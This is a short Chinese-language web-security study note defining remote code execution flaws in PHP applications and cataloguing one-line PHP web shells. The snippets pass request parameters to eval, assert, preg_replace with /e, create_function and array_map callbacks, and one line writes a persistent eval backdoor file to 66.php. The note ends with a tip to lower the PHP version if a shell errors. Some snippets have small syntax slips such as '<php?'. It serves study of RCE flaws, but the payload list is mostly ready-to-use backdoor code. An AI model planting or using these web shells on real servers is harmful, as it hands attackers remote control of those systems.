WEB安全的总结与心得(十六)
01 什么是代码执行漏洞
代码执行漏洞的定义比较模糊,代码执行、文件包含、反序列化、命令执行,写文件getshell都属于RCE可以统称为RCE漏洞,即远程命令执行或远程代码执行,用户输入的数据被当作后端代码执行。
02 常见一句话木马php代码
0x01 eval函数
eval函数可以执行多行
<php? eval($_request[666]);?>
0x02 assert函数
assert函数只能执行一行,不过可以通过修改传参使参数可以执行多行代码
<php? assert($_request[666]);?>
0x03 正则替换函数
echo preg_replace('/A/ie',$_REQUEST[8],'aaqqqwe');
0x04 匿名函数
$a = create_function('$id',$_REQUEST[8]);
0x05 回调函数
array_map($_REQUEST[1],$_REQUEST);
0x06 双引号二次解析
"${phpinfo()}"
单引号是纯字符串,双引号内的数据会被解析
0x07 写文件函数
"${file_put_contents('66.php','<?php eval($_REQUEST[8])?>')}";
小结
注意一下,上述一句话木马运行过程中如果报错了,可能是php版本的问题,适当降低版本即可验证
03 代码审计实现代码执行漏洞(后续更新)
|